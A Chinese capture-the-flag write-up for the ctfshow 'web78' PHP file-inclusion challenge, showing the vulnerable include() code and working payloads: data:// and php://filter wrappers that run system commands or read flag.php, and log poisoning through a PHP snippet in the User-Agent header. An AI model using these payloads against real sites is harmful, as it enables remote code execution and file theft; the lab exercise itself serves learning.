[ctfshow web入门] web78

信息收集

表面上没有任何过滤,自由发挥

php 复制代码
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

解题

这些解法都在web32解释过,不再详细解释,有需要点击超链接:[ctfshow web入门] web32

伪协议

php 复制代码
?file=data://text/plain,<?php system("tac flag.php") ?>
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.iconv.ascii.utf-16/resource=flag.php

日志包含

php 复制代码
?file=/var/log/nginx/access.log

user-agent里写上

php 复制代码
<?php system('ls'); ?>
<?php system('tac flag.php'); ?>

web124    目录    web79

相关推荐
Dream耀2 分钟前
CSS选择器完全手册:精准控制网页样式的艺术
前端·css·html
wordbaby2 分钟前
React 19 亮点:让异步请求和数据变更也能用 Transition 管理!
前端·react.js
月亮慢慢圆2 分钟前
VUE3基础之Hooks
前端
我想说一句4 分钟前
CSS 基础知识小课堂:从“选择器”到“声明块”,带你玩转网页的时尚穿搭!
前端·javascript·面试
红衣信14 分钟前
深入浅出 CSS 基础:从概念到选择器实战
前端·css
饮茶三千15 分钟前
五分钟!带你开发一个 VS Code 插件,实现状态栏文案轮播效果
前端
GIS之路16 分钟前
OpenLayers 地图投影转换
前端
用户48183772080316 分钟前
css grid实现流体布局
前端
Hanbox18 分钟前
探探React-找一个好看的组件库HeroUI(原NextUI)
前端